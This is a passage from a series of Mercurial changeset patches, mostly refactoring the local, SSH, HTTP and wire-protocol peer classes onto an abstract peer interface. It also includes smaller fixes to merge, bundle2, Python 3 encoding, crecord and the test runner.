-        return self._repo.heads()
+    def capabilities(self):
+        return self._caps
 
-    def known(self, nodes):
-        return self._repo.known(nodes)
+    def debugwireargs(self, one, two, three=None, four=None, five=None):
+        """Used to test argument passing over the wire"""
+        return "%s %s %s %s %s" % (one, two, three, four, five)
 
     def getbundle(self, source, heads=None, common=None, bundlecaps=None,
                   **kwargs):
@@ -197,8 +207,24 @@
         else:
             return changegroup.getunbundler('01', cb, None)
 
-    # TODO We might want to move the next two calls into legacypeer and add
-    # unbundle instead.
+    def heads(self):
+        return self._repo.heads()
+
+    def known(self, nodes):
+        return self._repo.known(nodes)
+
+    def listkeys(self, namespace):
+        return self._repo.listkeys(namespace)
+
+    def lookup(self, key):
+        return self._repo.lookup(key)
+
+    def pushkey(self, namespace, key, old, new):
+        return self._repo.pushkey(namespace, key, old, new)
+
+    def stream_out(self):
+        raise error.Abort(_('cannot perform stream clone against local '
+                            'peer'))
 
     def unbundle(self, cg, heads, url):
         """apply a bundle on a repo
@@ -235,35 +261,38 @@
         except error.PushRaced as exc:
             raise error.ResponseError(_('push failed:'), str(exc))
 
-    def pushkey(self, namespace, key, old, new):
-        return self._repo.pushkey(namespace, key, old, new)
+    # End of _basewirecommands interface.
 
-    def listkeys(self, namespace):
-        return self._repo.listkeys(namespace)
+    # Begin of peer interface.
 
-    def debugwireargs(self, one, two, three=None, four=None, five=None):
-        '''used to test argument passing over the wire'''
-        return "%s %s %s %s %s" % (one, two, three, four, five)
+    def iterbatch(self):
+        return peer.localiterbatcher(self)
 
-class locallegacypeer(localpeer):
+    # End of peer interface.
+
+class locallegacypeer(repository.legacypeer, localpeer):
     '''peer extension which implements legacy methods too; used for tests with
     restricted capabilities'''
 
     def __init__(self, repo):
-        localpeer.__init__(self, repo, caps=legacycaps)
+        super(locallegacypeer, self).__init__(repo, caps=legacycaps)
+
+    # Begin of baselegacywirecommands interface.
+
+    def between(self, pairs):
+        return self._repo.between(pairs)
 
     def branches(self, nodes):
         return self._repo.branches(nodes)
 
-    def between(self, pairs):
-        return self._repo.between(pairs)
-
     def changegroup(self, basenodes, source):
         return changegroup.changegroup(self._repo, basenodes, source)
 
     def changegroupsubset(self, bases, heads, source):
         return changegroup.changegroupsubset(self._repo, bases, heads, source)
 
+    # End of baselegacywirecommands interface.
+
 # Increment the sub-version when the revlog v2 format changes to lock out old
 # clients.
 REVLOGV2_REQUIREMENT = 'exp-revlogv2.0'
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502067588 25200
#      Sun Aug 06 17:59:48 2017 -0700
# Node ID 1f8460b55986d405a3a6dff1597c4dbad072e7da
# Parent  707750e5310bfef867740befde355c79a959c912
sshpeer: use peer interface

We need the same @property conversion of ui like we did for localpeer.
We renamed _capabilities() to capabilities() to satisfy the new
naming requirement.

However, since we're inheriting from wireproto.wirepeer which inherits
from peer.peerrepository and provides its own code accessing
_capabilities(), we need to keep the old alias around. This wonkiness
will disappear once wirepeer is cleaned up in subsequent commits.

We also implement methods for basepeer that are identical to the
defaults in peer.peerrepository in preparation for the removal of
peerrepository.

Differential Revision: https://phab.mercurial-scm.org/D336

diff --git a/mercurial/sshpeer.py b/mercurial/sshpeer.py
--- a/mercurial/sshpeer.py
+++ b/mercurial/sshpeer.py
@@ -13,6 +13,7 @@
 from . import (
     error,
     pycompat,
+    repository,
     util,
     wireproto,
 )
@@ -114,10 +115,10 @@
     def flush(self):
         return self._main.flush()
 
-class sshpeer(wireproto.wirepeer):
+class sshpeer(wireproto.wirepeer, repository.legacypeer):
     def __init__(self, ui, path, create=False):
         self._url = path
-        self.ui = ui
+        self._ui = ui
         self._pipeo = self._pipei = self._pipee = None
 
         u = util.url(path, parsequery=False, parsefragment=False)
@@ -150,9 +151,39 @@
 
         self._validaterepo(sshcmd, args, remotecmd)
 
+        # TODO remove this alias once peerrepository inheritance is removed.
+        self._capabilities = self.capabilities
+
+    # Begin of _basepeer interface.
+
+    @util.propertycache
+    def ui(self):
+        return self._ui
+
     def url(self):
         return self._url
 
+    def local(self):
+        return None
+
+    def peer(self):
+        return self
+
+    def canpush(self):
+        return True
+
+    def close(self):
+        pass
+
+    # End of _basepeer interface.
+
+    # Begin of _basewirecommands interface.
+
+    def capabilities(self):
+        return self._caps
+
+    # End of _basewirecommands interface.
+
     def _validaterepo(self, sshcmd, args, remotecmd):
         # cleanup up previous run
         self._cleanup()
@@ -200,9 +231,6 @@
                 self._caps.update(l[:-1].split(":")[1].split())
                 break
 
-    def _capabilities(self):
-        return self._caps
-
     def _readerr(self):
         _forwardoutput(self.ui, self._pipee)
 
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502067619 25200
#      Sun Aug 06 18:00:19 2017 -0700
# Node ID f913e90f15a0c0409e1792da1c524f0ac48eae33
# Parent  1f8460b55986d405a3a6dff1597c4dbad072e7da
httppeer: use peer interface

This is similar to what we did to sshpeer. Quirks and all.

Differential Revision: https://phab.mercurial-scm.org/D337

diff --git a/mercurial/httppeer.py b/mercurial/httppeer.py
--- a/mercurial/httppeer.py
+++ b/mercurial/httppeer.py
@@ -21,6 +21,7 @@
     error,
     httpconnection,
     pycompat,
+    repository,
     statichttprepo,
     url,
     util,
@@ -86,7 +87,7 @@
 
     resp.__class__ = readerproxy
 
-class httppeer(wireproto.wirepeer):
+class httppeer(wireproto.wirepeer, repository.legacypeer):
     def __init__(self, ui, path):
         self._path = path
         self._caps = None
@@ -100,12 +101,15 @@
         # urllib cannot handle URLs with embedded user or passwd
         self._url, authinfo = u.authinfo()
 
-        self.ui = ui
-        self.ui.debug('using %s\n' % self._url)
+        self._ui = ui
+        ui.debug('using %s\n' % self._url)
 
         self._urlopener = url.opener(ui, authinfo)
         self._requestbuilder = urlreq.request
 
+        # TODO remove once peerrepository isn't in inheritance.
+        self._capabilities = self.capabilities
+
     def __del__(self):
         urlopener = getattr(self, '_urlopener', None)
         if urlopener:
@@ -113,15 +117,32 @@
                 h.close()
                 getattr(h, "close_all", lambda : None)()
 
+    # Begin of _basepeer interface.
+
+    @util.propertycache
+    def ui(self):
+        return self._ui
+
     def url(self):
         return self._path
 
-    # look up capabilities only when needed
+    def local(self):
+        return None
+
+    def peer(self):
+        return self
+
+    def canpush(self):
+        return True
 
-    def _fetchcaps(self):
-        self._caps = set(self._call('capabilities').split())
+    def close(self):
+        pass
 
-    def _capabilities(self):
+    # End of _basepeer interface.
+
+    # Begin of _basewirepeer interface.
+
+    def capabilities(self):
         if self._caps is None:
             try:
                 self._fetchcaps()
@@ -131,6 +152,13 @@
                           (' '.join(self._caps or ['none'])))
         return self._caps
 
+    # End of _basewirepeer interface.
+
+    # look up capabilities only when needed
+
+    def _fetchcaps(self):
+        self._caps = set(self._call('capabilities').split())
+
     def _callstream(self, cmd, _compressible=False, **args):
         if cmd == 'pushkey':
             args['data'] = ''
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502423908 25200
#      Thu Aug 10 20:58:28 2017 -0700
# Node ID dedab036215d09a568da5c9a38f332b72f16cd25
# Parent  f913e90f15a0c0409e1792da1c524f0ac48eae33
wireproto: use new peer interface

The wirepeer class provides concrete implementations of peer interface
methods for calling wire protocol commands. It makes sense for this
class to inherit from the peer abstract base class. So we change
that.

Since httppeer and sshpeer have already been converted to the new
interface, peerrepository is no longer adding any value. So it has
been removed. httppeer and sshpeer have been updated to reflect the
loss of peerrepository and the inheritance of the abstract base
class in wirepeer.

The code changes in wirepeer are reordering of methods to group
by interface.

Some Python code in tests was updated to reflect changed APIs.

.. api::

   peer.peerrepository has been removed. Use repository.peer abstract
   base class to represent a peer repository.

Differential Revision: https://phab.mercurial-scm.org/D338

diff --git a/mercurial/httppeer.py b/mercurial/httppeer.py
--- a/mercurial/httppeer.py
+++ b/mercurial/httppeer.py
@@ -21,7 +21,6 @@
     error,
     httpconnection,
     pycompat,
-    repository,
     statichttprepo,
     url,
     util,
@@ -87,7 +86,7 @@
 
     resp.__class__ = readerproxy
 
-class httppeer(wireproto.wirepeer, repository.legacypeer):
+class httppeer(wireproto.wirepeer):
     def __init__(self, ui, path):
         self._path = path
         self._caps = None
@@ -107,9 +106,6 @@
         self._urlopener = url.opener(ui, authinfo)
         self._requestbuilder = urlreq.request
 
-        # TODO remove once peerrepository isn't in inheritance.
-        self._capabilities = self.capabilities
-
     def __del__(self):
         urlopener = getattr(self, '_urlopener', None)
         if urlopener:
diff --git a/mercurial/peer.py b/mercurial/peer.py
--- a/mercurial/peer.py
+++ b/mercurial/peer.py
@@ -8,7 +8,6 @@
 
 from __future__ import absolute_import
 
-from .i18n import _
 from . import (
     error,
     util,
@@ -95,46 +94,3 @@
         return next(batchable)
     setattr(plain, 'batchable', f)
     return plain
-
-class peerrepository(object):
-    def iterbatch(self):
-        """Batch requests but allow iterating over the results.
-
-        This is to allow interleaving responses with things like
-        progress updates for clients.
-        """
-        return localiterbatcher(self)
-
-    def capable(self, name):
-        '''tell whether repo supports named capability.
-        return False if not supported.
-        if boolean capability, return True.
-        if string capability, return string.'''
-        caps = self._capabilities()
-        if name in caps:
-            return True
-        name_eq = name + '='
-        for cap in caps:
-            if cap.startswith(name_eq):
-                return cap[len(name_eq):]
-        return False
-
-    def requirecap(self, name, purpose):
-        '''raise an exception if the given capability is not present'''
-        if not self.capable(name):
-            raise error.CapabilityError(
-                _('cannot %s; remote repository does not '
-                  'support the %r capability') % (purpose, name))
-
-    def local(self):
-        '''return peer as a localrepo, or None'''
-        return None
-
-    def peer(self):
-        return self
-
-    def canpush(self):
-        return True
-
-    def close(self):
-        pass
diff --git a/mercurial/sshpeer.py b/mercurial/sshpeer.py
--- a/mercurial/sshpeer.py
+++ b/mercurial/sshpeer.py
@@ -13,7 +13,6 @@
 from . import (
     error,
     pycompat,
-    repository,
     util,
     wireproto,
 )
@@ -115,7 +114,7 @@
     def flush(self):
         return self._main.flush()
 
-class sshpeer(wireproto.wirepeer, repository.legacypeer):
+class sshpeer(wireproto.wirepeer):
     def __init__(self, ui, path, create=False):
         self._url = path
         self._ui = ui
@@ -151,9 +150,6 @@
 
         self._validaterepo(sshcmd, args, remotecmd)
 
-        # TODO remove this alias once peerrepository inheritance is removed.
-        self._capabilities = self.capabilities
-
     # Begin of _basepeer interface.
 
     @util.propertycache
diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -27,6 +27,7 @@
     peer,
     pushkey as pushkeymod,
     pycompat,
+    repository,
     streamclone,
     util,
 )
@@ -212,7 +213,7 @@
 
 # client side
 
-class wirepeer(peer.peerrepository):
+class wirepeer(repository.legacypeer):
     """Client-side interface for communicating with a peer repository.
 
     Methods commonly call wire protocol commands of the same name.
@@ -220,28 +221,7 @@
     See also httppeer.py and sshpeer.py for protocol-specific
     implementations of this interface.
     """
-    def _submitbatch(self, req):
-        """run batch request <req> on the server
-
-        Returns an iterator of the raw responses from the server.
-        """
-        rsp = self._callstream("batch", cmds=encodebatchcmds(req))
-        chunk = rsp.read(1024)
-        work = [chunk]
-        while chunk:
-            while ';' not in chunk and chunk:
-                chunk = rsp.read(1024)
-                work.append(chunk)
-            merged = ''.join(work)
-            while ';' in merged:
-                one, merged = merged.split(';', 1)
-                yield unescapearg(one)
-            chunk = rsp.read(1024)
-            work = [merged, chunk]
-        yield unescapearg(''.join(work))
-
-    def _submitone(self, op, args):
-        return self._call(op, **args)
+    # Begin of basewirepeer interface.
 
     def iterbatch(self):
         return remoteiterbatcher(self)
@@ -293,26 +273,17 @@
         except TypeError:
             self._abort(error.ResponseError(_("unexpected response:"), d))
 
-    def branches(self, nodes):
-        n = encodelist(nodes)
-        d = self._call("branches", nodes=n)
-        try:
-            br = [tuple(decodelist(b)) for b in d.splitlines()]
-            return br
-        except ValueError:
-            self._abort(error.ResponseError(_("unexpected response:"), d))
-
-    def between(self, pairs):
-        batch = 8 # avoid giant requests
-        r = []
-        for i in xrange(0, len(pairs), batch):
-            n = " ".join([encodelist(p, '-') for p in pairs[i:i + batch]])
-            d = self._call("between", pairs=n)
-            try:
-                r.extend(l and decodelist(l) or [] for l in d.splitlines())
-            except ValueError:
-                self._abort(error.ResponseError(_("unexpected response:"), d))
-        return r
+    @batchable
+    def listkeys(self, namespace):
+        if not self.capable('pushkey'):
+            yield {}, None
+        f = future()
+        self.ui.debug('preparing listkeys for "%s"\n' % namespace)
+        yield {'namespace': encoding.fromlocal(namespace)}, f
+        d = f.value
+        self.ui.debug('received listkey for "%s": %i bytes\n'
+                      % (namespace, len(d)))
+        yield pushkeymod.decodekeys(d)
 
     @batchable
     def pushkey(self, namespace, key, old, new):
@@ -335,34 +306,9 @@
             self.ui.status(_('remote: '), l)
         yield d
 
-    @batchable
-    def listkeys(self, namespace):
-        if not self.capable('pushkey'):
-            yield {}, None
-        f = future()
-        self.ui.debug('preparing listkeys for "%s"\n' % namespace)
-        yield {'namespace': encoding.fromlocal(namespace)}, f
-        d = f.value
-        self.ui.debug('received listkey for "%s": %i bytes\n'
-                      % (namespace, len(d)))
-        yield pushkeymod.decodekeys(d)
-
     def stream_out(self):
         return self._callstream('stream_out')
 
-    def changegroup(self, nodes, kind):
-        n = encodelist(nodes)
-        f = self._callcompressable("changegroup", roots=n)
-        return changegroupmod.cg1unpacker(f, 'UN')
-
-    def changegroupsubset(self, bases, heads, kind):
-        self.requirecap('changegroupsubset', _('look up remote changes'))
-        bases = encodelist(bases)
-        heads = encodelist(heads)
-        f = self._callcompressable("changegroupsubset",
-                                   bases=bases, heads=heads)
-        return changegroupmod.cg1unpacker(f, 'UN')
-
     def getbundle(self, source, **kwargs):
         self.requirecap('getbundle', _('look up remote changes'))
         opts = {}
@@ -433,6 +379,69 @@
             ret = bundle2.getunbundler(self.ui, stream)
         return ret
 
+    # End of basewirepeer interface.
+
+    # Begin of baselegacywirepeer interface.
+
+    def branches(self, nodes):
+        n = encodelist(nodes)
+        d = self._call("branches", nodes=n)
+        try:
+            br = [tuple(decodelist(b)) for b in d.splitlines()]
+            return br
+        except ValueError:
+            self._abort(error.ResponseError(_("unexpected response:"), d))
+
+    def between(self, pairs):
+        batch = 8 # avoid giant requests
+        r = []
+        for i in xrange(0, len(pairs), batch):
+            n = " ".join([encodelist(p, '-') for p in pairs[i:i + batch]])
+            d = self._call("between", pairs=n)
+            try:
+                r.extend(l and decodelist(l) or [] for l in d.splitlines())
+            except ValueError:
+                self._abort(error.ResponseError(_("unexpected response:"), d))
+        return r
+
+    def changegroup(self, nodes, kind):
+        n = encodelist(nodes)
+        f = self._callcompressable("changegroup", roots=n)
+        return changegroupmod.cg1unpacker(f, 'UN')
+
+    def changegroupsubset(self, bases, heads, kind):
+        self.requirecap('changegroupsubset', _('look up remote changes'))
+        bases = encodelist(bases)
+        heads = encodelist(heads)
+        f = self._callcompressable("changegroupsubset",
+                                   bases=bases, heads=heads)
+        return changegroupmod.cg1unpacker(f, 'UN')
+
+    # End of baselegacywirepeer interface.
+
+    def _submitbatch(self, req):
+        """run batch request <req> on the server
+
+        Returns an iterator of the raw responses from the server.
+        """
+        rsp = self._callstream("batch", cmds=encodebatchcmds(req))
+        chunk = rsp.read(1024)
+        work = [chunk]
+        while chunk:
+            while ';' not in chunk and chunk:
+                chunk = rsp.read(1024)
+                work.append(chunk)
+            merged = ''.join(work)
+            while ';' in merged:
+                one, merged = merged.split(';', 1)
+                yield unescapearg(one)
+            chunk = rsp.read(1024)
+            work = [merged, chunk]
+        yield unescapearg(''.join(work))
+
+    def _submitone(self, op, args):
+        return self._call(op, **args)
+
     def debugwireargs(self, one, two, three=None, four=None, five=None):
         # don't pass optional arguments left at their default value
         opts = {}
diff --git a/tests/notcapable b/tests/notcapable
--- a/tests/notcapable
+++ b/tests/notcapable
@@ -6,9 +6,9 @@
 fi
 
 cat > notcapable-$CAP.py << EOF
-from mercurial import extensions, peer, localrepo
+from mercurial import extensions, localrepo, repository
 def extsetup():
-    extensions.wrapfunction(peer.peerrepository, 'capable', wrapcapable)
+    extensions.wrapfunction(repository.peer, 'capable', wrapcapable)
     extensions.wrapfunction(localrepo.localrepository, 'peer', wrappeer)
 def wrapcapable(orig, self, name, *args, **kwargs):
     if name in '$CAP'.split(' '):
diff --git a/tests/test-wireproto.py b/tests/test-wireproto.py
--- a/tests/test-wireproto.py
+++ b/tests/test-wireproto.py
@@ -19,7 +19,26 @@
     def __init__(self, serverrepo):
         self.serverrepo = serverrepo
 
-    def _capabilities(self):
+    @property
+    def ui(self):
+        return self.serverrepo.ui
+
+    def url(self):
+        return 'test'
+
+    def local(self):
+        return None
+
+    def peer(self):
+        return self
+
+    def canpush(self):
+        return True
+
+    def close(self):
+        pass
+
+    def capabilities(self):
         return ['batch']
 
     def _call(self, cmd, **args):
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502424030 25200
#      Thu Aug 10 21:00:30 2017 -0700
# Node ID b70029f355a3ff4ccd1da26b615e7ffca5f7745d
# Parent  dedab036215d09a568da5c9a38f332b72f16cd25
tests: verify that peer instances only expose interface members

Our abstract interfaces are more useful if we guarantee that
implementations conform to certain rules. Namely, we want to ensure
that objects implementing interfaces don't expose new public
attributes that aren't part of the interface. That way, as long as
consumers don't access "internal" attributes (those beginning with
"_") then (in theory) objects implementing interfaces can be swapped
out and everything will "just work."

We add a test that enforces our "no public attributes not part
of the abstract interface" rule.

We /could/ implement "interface compliance detection" at run-time.
However, that is littered with problems.

The obvious solutions are custom __new__ and __init__ methods.
These rely on derived types actually calling the parent's
implementation, which is no sure bet. Furthermore, __new__ and
__init__ will likely be called before instance-specific attributes
are assigned. In other words, they won't detect public attributes
set on self.__dict__. This means public attribute detection won't
be robust.

We could work around lack of robust self.__dict__ public attribute
detection by having our interfaces implement a custom __getattribute__,
__getattr__, and/or __setattr__. However, this incurs an undesirable
run-time penalty. And, subclasses could override our custom
method, bypassing the check.

The most robust solution is a non-runtime test. So that's what this
commit implements. We have a generic function for validating that an
object only has public attributes defined by abstract classes. Then,
we instantiate some peers and verify a newly constructed object
plays by the rules.

Differential Revision: https://phab.mercurial-scm.org/D339

diff --git a/tests/test-check-interfaces.py b/tests/test-check-interfaces.py
new file mode 100644
--- /dev/null
+++ b/tests/test-check-interfaces.py
@@ -0,0 +1,71 @@
+# Test that certain objects conform to well-defined interfaces.
+
+from __future__ import absolute_import, print_function
+
+from mercurial import (
+    httppeer,
+    localrepo,
+    sshpeer,
+    ui as uimod,
+)
+
+def checkobject(o):
+    """Verify a constructed object conforms to interface rules.
+
+    An object must have __abstractmethods__ defined.
+
+    All "public" attributes of the object (attributes not prefixed with
+    an underscore) must be in __abstractmethods__ or appear on a base class
+    with __abstractmethods__.
+    """
+    name = o.__class__.__name__
+
+    allowed = set()
+    for cls in o.__class__.__mro__:
+        if not getattr(cls, '__abstractmethods__', set()):
+            continue
+
+        allowed |= cls.__abstractmethods__
+        allowed |= {a for a in dir(cls) if not a.startswith('_')}
+
+    if not allowed:
+        print('%s does not have abstract methods' % name)
+        return
+
+    public = {a for a in dir(o) if not a.startswith('_')}
+
+    for attr in sorted(public - allowed):
+        print('public attributes not in abstract interface: %s.%s' % (
+            name, attr))
+
+# Facilitates testing localpeer.
+class dummyrepo(object):
+    def __init__(self):
+        self.ui = uimod.ui()
+    def filtered(self, name):
+        pass
+    def _restrictcapabilities(self, caps):
+        pass
+
+# Facilitates testing sshpeer without requiring an SSH server.
+class testingsshpeer(sshpeer.sshpeer):
+    def _validaterepo(self, *args, **kwargs):
+        pass
+
+class badpeer(httppeer.httppeer):
+    def __init__(self):
+        super(badpeer, self).__init__(uimod.ui(), 'http://localhost')
+        self.badattribute = True
+
+    def badmethod(self):
+        pass
+
+def main():
+    ui = uimod.ui()
+
+    checkobject(badpeer())
+    checkobject(httppeer.httppeer(ui, 'http://localhost'))
+    checkobject(localrepo.localpeer(dummyrepo()))
+    checkobject(testingsshpeer(ui, 'ssh://localhost/foo'))
+
+main()
diff --git a/tests/test-check-interfaces.py.out b/tests/test-check-interfaces.py.out
new file mode 100644
--- /dev/null
+++ b/tests/test-check-interfaces.py.out
@@ -0,0 +1,2 @@
+public attributes not in abstract interface: badpeer.badattribute
+public attributes not in abstract interface: badpeer.badmethod
# HG changeset patch
# User Alex Gaynor <agaynor@mozilla.com>
# Date 1500060448 0
#      Fri Jul 14 19:27:28 2017 +0000
# Node ID 055fee3547df71562343141b06b16988b61d8150
# Parent  b70029f355a3ff4ccd1da26b615e7ffca5f7745d
merge: removed sorting in casefolding detection, for a slight performance win

It was not required for the correctness of the algorithm.

Differential Revision: https://phab.mercurial-scm.org/D30

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -753,7 +753,7 @@
 
     # check case-folding collision in provisional merged manifest
     foldmap = {}
-    for f in sorted(pmmf):
+    for f in pmmf:
         fold = util.normcase(f)
         if fold in foldmap:
             raise error.Abort(_("case-folding collision between %s and %s")
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1502589956 -32400
#      Sun Aug 13 11:05:56 2017 +0900
# Node ID 1bf5c5507614e9ae452178d4f1fb14c71c969029
# Parent  055fee3547df71562343141b06b16988b61d8150
bundle2: raise ProgrammingError for invalid call of addhookargs()

It should be hard error. Also fixed the error message as s/hooks/hookargs/.

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -318,9 +318,8 @@
 
     def addhookargs(self, hookargs):
         if self.hookargs is None:
-            raise error.Abort(
-                _('attempted to add hooks to operation after transaction '
-                  'started'))
+            raise error.ProgrammingError('attempted to add hookargs to '
+                                         'operation after transaction started')
         self.hookargs.update(hookargs)
 
 class TransactionUnavailable(RuntimeError):
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1502590235 -32400
#      Sun Aug 13 11:10:35 2017 +0900
# Node ID b3a41f4d837b2b3d090e693c449cbe6a8256a50f
# Parent  1bf5c5507614e9ae452178d4f1fb14c71c969029
bundle2: relax the condition to update transaction.hookargs

This is just a micro optimization. If hookargs is empty, nothing should be
necessary.

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -304,15 +304,15 @@
     def gettransaction(self):
         transaction = self._gettransaction()
 
-        if self.hookargs is not None:
+        if self.hookargs:
             # the ones added to the transaction supercede those added
             # to the operation.
             self.hookargs.update(transaction.hookargs)
             transaction.hookargs = self.hookargs
 
-            # mark the hookargs as flushed.  further attempts to add to
-            # hookargs will result in an abort.
-            self.hookargs = None
+        # mark the hookargs as flushed.  further attempts to add to
+        # hookargs will result in an abort.
+        self.hookargs = None
 
         return transaction
 
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1502693440 -32400
#      Mon Aug 14 15:50:40 2017 +0900
# Node ID dabe1f11ae3aefab4d3a460b456a0e84507b6326
# Parent  b3a41f4d837b2b3d090e693c449cbe6a8256a50f
py3: change encoding.localstr to a subclass of bytes, not str

diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -78,11 +78,11 @@
 encodingmode = environ.get("HGENCODINGMODE", "strict")
 fallbackencoding = 'ISO-8859-1'
 
-class localstr(str):
+class localstr(bytes):
     '''This class allows strings that are unmodified to be
     round-tripped to the local encoding and back'''
     def __new__(cls, u, l):
-        s = str.__new__(cls, l)
+        s = bytes.__new__(cls, l)
         s._utf8 = u
         return s
     def __hash__(self):
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1502685326 -32400
#      Mon Aug 14 13:35:26 2017 +0900
# Node ID 4ba863c88135a2fd2f44c8b463ef6956763fd81e
# Parent  dabe1f11ae3aefab4d3a460b456a0e84507b6326
cext: move PyInt macros to charencode.c properly

Python3 build was broken at e9996bd7203f.

diff --git a/mercurial/cext/charencode.c b/mercurial/cext/charencode.c
--- a/mercurial/cext/charencode.c
+++ b/mercurial/cext/charencode.c
@@ -13,6 +13,14 @@
 #include "charencode.h"
 #include "util.h"
 
+#ifdef IS_PY3K
+/* The mapping of Python types is meant to be temporary to get Python
+ * 3 to compile. We should remove this once Python 3 support is fully
+ * supported and proper types are used in the extensions themselves. */
+#define PyInt_Type PyLong_Type
+#define PyInt_AS_LONG PyLong_AS_LONG
+#endif
+
 static const char lowertable[128] = {
 	'\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07',
 	'\x08', '\x09', '\x0a', '\x0b', '\x0c', '\x0d', '\x0e', '\x0f',
diff --git a/mercurial/cext/parsers.c b/mercurial/cext/parsers.c
--- a/mercurial/cext/parsers.c
+++ b/mercurial/cext/parsers.c
@@ -20,11 +20,9 @@
 /* The mapping of Python types is meant to be temporary to get Python
  * 3 to compile. We should remove this once Python 3 support is fully
  * supported and proper types are used in the extensions themselves. */
-#define PyInt_Type PyLong_Type
 #define PyInt_Check PyLong_Check
 #define PyInt_FromLong PyLong_FromLong
 #define PyInt_FromSsize_t PyLong_FromSsize_t
-#define PyInt_AS_LONG PyLong_AS_LONG
 #define PyInt_AsLong PyLong_AsLong
 #endif
 
# HG changeset patch
# User Filip Filmar <filmil@gmail.com>
# Date 1502608633 25200
#      Sun Aug 13 00:17:13 2017 -0700
# Node ID 1e71a27dee970ec9ef02c004f662b5a99182f69b
# Parent  4ba863c88135a2fd2f44c8b463ef6956763fd81e
crecord: fixes the formatting of the select status in the status line

The status line in the crecord has the "space" status field which has variable
length depending on the length of the status label in the language of choice.
In English, the status labels are "space: deselect" and "space:select".  The
"deselect" label is 2 glyphs longer.  This makes the terminal output jump
around if the terminal width is just right so that the shorter label makes
the status line 1 line long, and the longer label makes it 2 lines long.

This patch formats the selected status into a fixed-width field.  The field
width is the maximum of the lengths of the two possible labels, to account for
differing translations and label lengths.  This should make the label behavior
uniform across localizations.

There does not seem to be a test for crecord, so I verified the change manually
with a local build of 'hg'.

diff --git a/mercurial/crecord.py b/mercurial/crecord.py
--- a/mercurial/crecord.py
+++ b/mercurial/crecord.py
@@ -1010,6 +1010,13 @@
     def _getstatuslinesegments(self):
         """-> [str]. return segments"""
         selected = self.currentselecteditem.applied
+        spaceselect = _('space: select')
+        spacedeselect = _('space: deselect')
+        # Format the selected label into a place as long as the longer of the
+        # two possible labels.  This may vary by language.
+        spacelen = max(len(spaceselect), len(spacedeselect))
+        selectedlabel = '%-*s' % (spacelen,
+                                  spacedeselect if selected else spaceselect)
         segments = [
             _headermessages[self.operation],
             '-',
@@ -1017,7 +1024,7 @@
             _('c: confirm'),
             _('q: abort'),
             _('arrow keys: move/expand/collapse'),
-            _('space: deselect') if selected else _('space: select'),
+            selectedlabel,
             _('?: help'),
         ]
         return segments
# HG changeset patch
# User Matthieu Laneuville <matthieu.laneuville@octobus.net>
# Date 1502454109 -7200
#      Fri Aug 11 14:21:49 2017 +0200
# Node ID 81b12f69ef5b10d2c5a5870eeab6c4c3d07e1a6d
# Parent  1e71a27dee970ec9ef02c004f662b5a99182f69b
run-tests: also color the summary messages (skipped, failed...)

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -94,13 +94,48 @@
     try: # is pygments installed
         import pygments
         import pygments.lexers as lexers
+        import pygments.lexer as lexer
         import pygments.formatters as formatters
+        import pygments.token as token
+        import pygments.style as style
         pygmentspresent = True
         difflexer = lexers.DiffLexer()
         terminal256formatter = formatters.Terminal256Formatter()
     except ImportError:
         pass
 
+if pygmentspresent:
+    class TestRunnerStyle(style.Style):
+        default_style = ""
+        skipped = token.string_to_tokentype("Token.Generic.Skipped")
+        failed = token.string_to_tokentype("Token.Generic.Failed")
+        error = token.string_to_tokentype("Token.Generic.Error")
+        skippedname = token.string_to_tokentype("Token.Generic.SName")
+        failedname = token.string_to_tokentype("Token.Generic.FName")
+        styles = {
+            skipped:         '#e5e5e5',
+            skippedname:     '#00ffff',
+            failed:          '#7f0000',
+            failedname:      '#ff0000',
+        }
+
+    class TestRunnerLexer(lexer.RegexLexer):
+        tokens = {
+            'root': [
+                (r'^Skipped', token.Generic.Skipped, 'skipped'),
+                (r'^Failed ', token.Generic.Failed, 'failed'),
+                (r'^ERROR: ', token.Generic.Failed, 'failed'),
+            ],
+            'skipped': [
+                (r'[\w-]+\.t', token.Generic.SName),
+                (r':.*', token.Generic.Skipped),
+            ],
+            'failed': [
+                (r'[\w-]+\.t', token.Generic.FName),
+                (r'(:| ).*', token.Generic.Failed),
+            ]
+        }
+
 if sys.version_info > (3, 5, 0):
     PYTHON3 = True
     xrange = range # we use xrange in one place, and we'd rather not use range
@@ -1598,7 +1633,14 @@
                     self.stream.write('t')
                 else:
                     if not self._options.nodiff:
-                        self.stream.write('\nERROR: %s output changed\n' % test)
+                        formatted = '\nERROR: %s output changed\n' % test
+                        if self.color:
+                            formatted = pygments.highlight(
+                                formatted,
+                                TestRunnerLexer(),
+                                formatters.Terminal256Formatter(
+                                            style=TestRunnerStyle))
+                        self.stream.write(formatted)
                     self.stream.write('!')
 
                 self.stream.flush()
@@ -2000,9 +2042,23 @@
 
             if not self._runner.options.noskips:
                 for test, msg in result.skipped:
-                    self.stream.writeln('Skipped %s: %s' % (test.name, msg))
+                    formatted = 'Skipped %s: %s' % (test.name, msg)
+                    if result.color:
+                        formatted = pygments.highlight(
+                            formatted,
+                            TestRunnerLexer(),
+                            formatters.Terminal256Formatter(
+                                            style=TestRunnerStyle)).strip("\n")
+                    self.stream.writeln(formatted)
             for test, msg in result.failures:
-                self.stream.writeln('Failed %s: %s' % (test.name, msg))
+                formatted = 'Failed %s: %s' % (test.name, msg)
